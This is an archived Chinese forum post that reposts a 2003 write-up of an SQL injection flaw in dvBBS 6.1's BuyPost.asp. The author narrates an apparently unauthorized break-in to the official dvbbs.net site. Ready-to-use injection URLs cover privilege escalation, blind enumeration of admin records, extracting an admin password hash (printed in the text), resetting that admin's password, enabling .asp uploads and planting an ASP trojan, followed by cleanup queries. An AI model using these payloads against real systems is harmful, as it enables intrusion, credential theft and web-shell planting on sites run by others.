精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>动网论坛dvBBS的安全漏洞(z)

主题:动网论坛dvBBS的安全漏洞(z)
发信人: horsearmor(马甲)
整理人: williamlong(2004-06-01 23:16:52), 站内信件
漏洞来源:DVBBS V6.1 For SQL版. 
漏洞发现者:臭要饭的
发现漏洞日期:2003-9-18 

测试目标: 动网官方网站-http://bbs.dvbbs.net/ 


一、前言废话: 

近来搞Sql Injection 搞上瘾了,开发了两个有利用Sql Injection入侵的工具. 
现在就把昨天发现这个漏洞,并利用这个漏洞入侵的全部经过写一写.让大家有所了解.可是千万不要去破坏哦! 


二、漏洞的发现过程: 

昨天晚上没有什么事,到了DVBBS看了一下。下载了一个最新的DBSS V6.1 版本 
看看近来动网更新了些什么东东.找漏洞,这个我喜欢,I LIKE! 
方法很简单.把解压后的DVBBS整个目录用来搜索,搜索包含内容: from "&request //注win2k支持这样搜索文件. 
//******************************************************************************************* 
from "&request 就找这个内容.(不要告诉我你不会找,选中目录,点右键查找包含内容:from "&request ) 为什么要找这个呢? 
大家都知道SQL对表的操作是这么样的如: 
sqlstr="select * from tablename" //都会有from tablename。 
如果ASP中写成这样 
sqlstr="select * from "&tablename&" where......" 
这里就是直接引用了提交的表名.并没有过滤这个参数,一点也没有过滤. 
这个可是太可怕的了。传说中的动网有史以来最大的漏洞终于被发现了! 
//******************************************************************************************* 

三、漏洞原理分析 

马上出来结果了。搜索的文件列表出现了: 
admin_postdata.asp BuyPost.asp 
分析了一下,第一个是管理员要用到的ASP,如果你不是前台管理员根本用不了第一个文件.所以就放弃了. 
来看看第二个文件BuyPost.asp. 
这个文件是做什么用的呢?没用过,我也不知道。所以就打开源代码看看吧. 
........ 
<%

If request("action")="view" Then
Dvbbs.stats="查看购买贴子的用户"
Else
Dvbbs.stats="购买帖子"
End If
Dvbbs.Myaction=Dvbbs.Stats
If Dvbbs.BoardID=0 then
Dvbbs.AddErrmsg "错误的版面参数!请确认您是从有效的连接进入。"
End If
If request("id")="" then
Dvbbs.AddErrmsg "请指定相关贴子(id)。"
ElseIf Not Dvbbs.isInteger(request("id")) then
Dvbbs.AddErrmsg "非法的贴子参数。"
Else
rootid=request("id")
End If
If request("replyID")="" Then
Dvbbs.AddErrmsg "请指定相关贴子(replyID)。"
ElseIf Not Dvbbs.isInteger(request("replyID")) Then
Dvbbs.AddErrmsg "非法的贴子参数。"
Else
AnnounceID=request("replyID")
End If
If Not Dvbbs.founduser Then
Dvbbs.AddErrmsg "请登录后进行操作。"
End If
If Dvbbs.FoundErr Then
Dvbbs.nav()
ChkAllErr()
End If

If Not FoundTable Then
Dvbbs.AddErrmsg "非法的参数。"
Dvbbs.nav()
ChkAllErr()
End If
If request("action")="view" Then
Call view() //******这里调用漏洞代码.
Else
Call main()
End If
If Dvbbs.FoundErr Then
Dvbbs.nav()
ChkAllErr()
End If
Dvbbs.activeonline()
Response.Write "</body></html>" 
CloseDatabase 

..............略掉一些代码. 
Sub view() 
Dvbbs.isshowtop=0 
Dim PostBuyUser 
sql="select PostBuyUser from "&request("PostTable")&" where Announceid="&Announceid 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
//这条就是漏洞语句. 
Set rs=conn.execute(sql) 
PostBuyUser=Trim(rs(0)) 
dvbbs.nav() 
Response.Write "<table cellpadding=3 cellspacing=1 align=center class=tableborder1>" 
Response.Write "<TBODY><TR>" 
Response.Write "<Th height=24 colspan=1>查看购买贴子的用户</Th>" 
Response.Write "</TR>" 
Response.Write "<tr><TD class=tablebody2>" 
If (not isnull(PostBuyUser)) Or PostBuyUser<>"" Then 
PostBuyUser=Replace(PostBuyUser,"│","
  • ") 
    Response.Write "
  • "&PostBuyUser 
    Else 
    Response.Write "<br>
  • 还未有人购买!" 
    End If 
    Response.Write "</td></tr>" 
    Response.Write "</table>" 
    Set rs=Nothing 
    End Sub 
    %> 

    看了一下这是关于一个购买贴子的漏洞.好了,我们注册一个用户进去找找动网哪里有这个功能! 
    用户名:yafande 密码:123321 
    查一下自己的ID。哦是:25687 
    和卖身找了很久很久都没有找到这个功能,不知道在什么地方. 
    现在就只有自己构造URL了。 
    看了源代码,提交的参数有: 
    boardID,ID,replyid,action, postTable 
    分别是:版面ID,RootID,自动编号的ID(随便取一个吧,出错就换一个大于1的整数),一个参数,表名 
    现在关键就的就是这个表名是什么,最后找到符合条件是的:bbs1 

    再来看action 当action=view的时候再调用view()这个有漏洞的过程。 
    打开一个版面,找到一个贴子,得到版面号和ROOTID分别为:boardID=103,ID=327926 //如果不找到正确的版面ID和贴子ID。一提交就要出错! 
    所以我们提交的URL就是: 
    http://bbs.dvbbs.net/buypost.asp?boardID=103&ID=327926&replyid=1&action=view&postTable=bbs1 
    提交后在SQL中表现的语句如下: 
    看漏洞代码. 
    sql="select PostBuyUser from "&request("PostTable")&" where Announceid="&Announceid 

    提交得到的SQL就是: 
    sql="select PostBuyUser from bbs1 where Announceid=1 " 
    ~~~~ ~~ 
    如果我们提交: 
    http://bbs.dvbbs.net/buypost.asp?boardID=103&ID=327926&replyid=1&action=view&postTable=bbs1;update [user] set usergroupid=1 where userid=25687;-- 
    得到的SQL语句就是: 
    sql="select PostBuyUser from bbs1;update [user] set usergroupid=1 where userid=25687;--where announceid=1" 
    当然--后面的东西被注解掉了。也就是不起作用了。简化一下. 
    sql="select PostBuyUser from bbs1;update [user] set usergroupid=1 where userid=25687;" 
    提交这条语句就是把userID=25687这个用户(就是我刚才注册的yafande账号),加为前台管理员. 

    四、详解入侵过程 

    开工,提交吧! 
    IE 显示了还未有人购买!嗯。 
    没有显示任何错误.多半成功了! 

    重新登陆一次,看到了自己有管理的功能了。哈哈. 
    现在我们就添加一个管理员吧.因为如果改管理员密码不好。一旦发现就OVER了。 
    一样的提交. 
    http://.....&postTable=bbs1;insert into [admin] (username,password) values (yf,ff8aaa8a2dde9154);-- 
    我省略点前面的一些代码,这样看起来方便! 
    这样我们就会在admin表中加一个用户名为yf密码是123321的账号。//***123321的MD5码为:ff8aaa8a2dde9154 
    看看进管理行不行? 

    五、剖析动网后台管理 

    晕。。失败!一支烟后。。。。(当然我们也试过了重新加账号都不行) 
    看admin_index.asp源代码是怎么写的。 
    代码如下: 
    sub chklogin() 
    username=trim(replace(request("username"),"","")) 
    password=md5(trim(replace(request("password"),"","")),16) 
    if request("verifycode")="" then 
    Dvbbs.Adderrmsg "请返回输入确认码。返回后请刷新登录页面后重新输入正确的信息。
    elseif session("verifycode")="" then 
    Dvbbs.Adderrmsg "请不要重复提交,如需重新登录请返回登录页面。返回后请刷新登录页面后重新输入正确的信息。
    elseif session("verifycode")<>trim(request("verifycode")) then 
    Dvbbs.Adderrmsg "您输入的确认码和系统产生的不一致,请重新输入。返回后请刷新登录页面后重新输入正确的信息。
    end if 
    session("verifycode")="" 
    if username="" or password="" then 
    Dvbbs.Adderrmsg "请输入您的用户名或密码。返回后请刷新登录页面后重新输入正确的信息。
    end if 
    if dvbbs.founderr then exit sub 
    ip=Request.ServerVariables("REMOTE_ADDR") 
    set rs=conn.execute("select * from "&admintable&" where username="&username&" and adduser="&dvbbs.membername&"") 
    if rs.eof and rs.bof then 
    rs.close 
    set rs=nothing 
    Dvbbs.Adderrmsg "您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入您的密码。返回后请刷新登录页面后重新输入正确的信息。
    exit sub 
    else 
    if trim(rs("password"))<>password then 
    Dvbbs.Adderrmsg "您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入您的密码。返回后请刷新登录页面后重新输入正确的信息。
    exit sub 
    else 
    session("flag")=rs("flag") 
    session.timeout=45 
    conn.execute("update "&admintable&" set LastLogin="&SqlNowString&",LastLoginIP="&ip&" where username="&username&"") 
    rs.close 
    set rs=nothing 
    response.write "<script>location.href=admin_index.asp</script>" 
    end if 
    end if 
    end sub 
    这是一个检测登陆的过程。看代码,首先检测有没有用户和增加这个用户的人的名称是不是存在.(adduser字段保存的) 
    //***这个adduser是用来保存这个管理员是由谁添加进去的。 
    再检测密码对不对. 
    我们刚才添加一个用户的时候根本没有对adduser字段加东西.所以就进不去。 

    怎么办?我们不知道后台管理员的账号名啊?我晕! 

    不过办法是有的。看经典的.来来来! 
    先找出后台管理员的最小ID的那个账号. 
    http://.....&postTable=bbs1 where 1=(select min(id) from [admin] );-- 
    提交后,得到的SQL语句就是: 
    sql="select PostBuyUser from bbs1 where 1=(select min(id) from [admin] );--where......" 
    不正确。最小ID不是1. 
    ..5<(select min(id) from [admin]);-- 正确.最小ID大于5
    ..15>(select min(id) from [admin]);-- 正确.最小ID小于15 
    ..10=(select min(id) from [admin]);-- 正确.最小ID猜出来了是10 
    好了,更经典的东东出来了. 

    http://.....&postTable=bbs1;update [admin] set adduser=(select adduser from [admin] where id=10) where username=yf;-- 
    这段代码就是把管理员ID=10的adduser的值,填到yf这个账号中去。刚才已经加了账号了嘛. 
    最后还是不成功?我倒,是怎么回事!!!晕了晕了晕了!!! 

    我想了很久,动网他们自己用的是不是MD5加密的哦。还有是不是MD5 16位加密的呢?如果是32位的怎么办? 
    测试一下吧! 

    http://.....&postTable=bbs1 where 10=(select min(id) from [admin] where len(password)=16);-- 
    提示正确,是16位加密的.我晕。怎么回事。 
    现在我们就只有把他表中所有的数据显示出来看看啊. 

    现在我就直接把他的数据,显示到我的个人信息中去(个人信息中的主页地址)。 
    来吧!!COME ON!!! 

    http://.....&postTable=bbs1;update [user] set homepage=(select username from [admin] where id=10) where userid=25687;-- 
    这样就把后台管理员的ID为10的账号搞出来了. 
    查看自己的个人信息的个人主页那里就显示出了他的账号. 
    账号为:****** 这里屏掉账号. 不方便显示出来,对不起:)! 
    再来, 
    http://.....&postTable=bbs1;update [user] set homepage=(select password from [admin] where id=10) where userid=25687;-- 
    显示密码为:af6ffd23be8fee40
    http://.....&postTable=bbs1;update [user] set homepage=(select adduser from [admin] where id=10) where userid=25687;-- 
    显示添加人为:******** 这里也不要说了,不方便! 
    我还显示出他上次上线的时候,以及上次登陆的IP。以方便我们更加了解这个账号. 

    最后我们也就只有修改一个管理员的账号了。哎,没法,就搞这个管理员吧。他一周没有上来了. 
    http://.....&postTable=bbs1;update [admin] set password=ff8aaa8a2dde9154 where id=10;-- 
    这样我们就把密码给他改成123321了. 
    最后还是不成功.我晕了。那看来,他是不是作了IP限制的呢?头都大了。又一支烟完后..... 

    六、越权植木马入动网 

    想到了,上传ASP木马,怎么上传?进不了后台怎么上传。不进后台也一样可以上传的啊。 
    他的上传文件的限制是搞到库中去的。我们直接提交SQL语句改库就可以上传文件了。 
    好的。那开始吧!! 
    GO! 
    我们打开我们下载的默认数据库。看一下Board中Board_Setting字段的内容,就取第一条的内容吧! 
    如下: 
    0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 

    我们来改改吧! 
    0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid│asp,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 
    OK,再给他加进去. 
    http://.....&postTable=bbs1;update [board] set Board_Setting=0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid│asp,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 where boardid=103;-- 
    这样版面ID为103的就可以上传ASP文件了. 

    好了更改成功。 
    现在我们进入刚才加的那个版面去发表贴子上传一个ASP木马。哈哈!!! 
    好了也可以上传了。成功了!!! 

    打开IE输入: 
    http://bbs.dvbbs.net/UploadFile/200391819281385768.asp 
    OK。下面的事我就不用说了吧。[当然,我们也直接改了一下他的界面,以提示叫他注意安全]. 

    这是连接SQL数据库的。你可以查看他的连接账号是不是SA账号连接的.如果是的话。还可以加上系统账号。 

    七、恢复 

    哈哈!! 
    现在的事就是清除一些东东。 
    http://.....&postTable=bbs1;update [admin] set password=af6ffd23be8fee40 where id=10;-- 
    还原ID为10管理员的密码。 

    http://.....&postTable=bbs1;delete from [admin] where username=yf;-- 
    删掉刚加的一个yf账号。 

    http://.....&postTable=bbs1;update [board] set Board_Setting=0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,16240,3,300,gif│jpg│jpeg│bmp│png│rar│txt│zip│mid,0,0,0│24,1,0,300,20,10,9,12,1,10,10,0,0,0,0,1,5,0,1,4,0,0,0,0,0,0,0,0,0 where boardid=103;-- 
    去掉可以上传ASP文件的设置。 

    http://.....&postTable=bbs1;delete from [user] where userid=25687;-- 
    删除我们前台加的管理员. 

    八、后语 

    闪人了..... 
    //结束语:这也许就是动网漏洞。可以摧毁数据库中的一切东东。 
    如果用SA账号连接的数据库,可以加上系统账号. 
    请大家不要利用本漏洞攻击其他BBS。我这只是做了一个测试,并没有去破坏动网的数据库中的数据. 
    虽然我们没有破坏数据。但还是向动网全体人员道歉!希望以后不会现出现漏洞了:) 


  • [关闭][返回]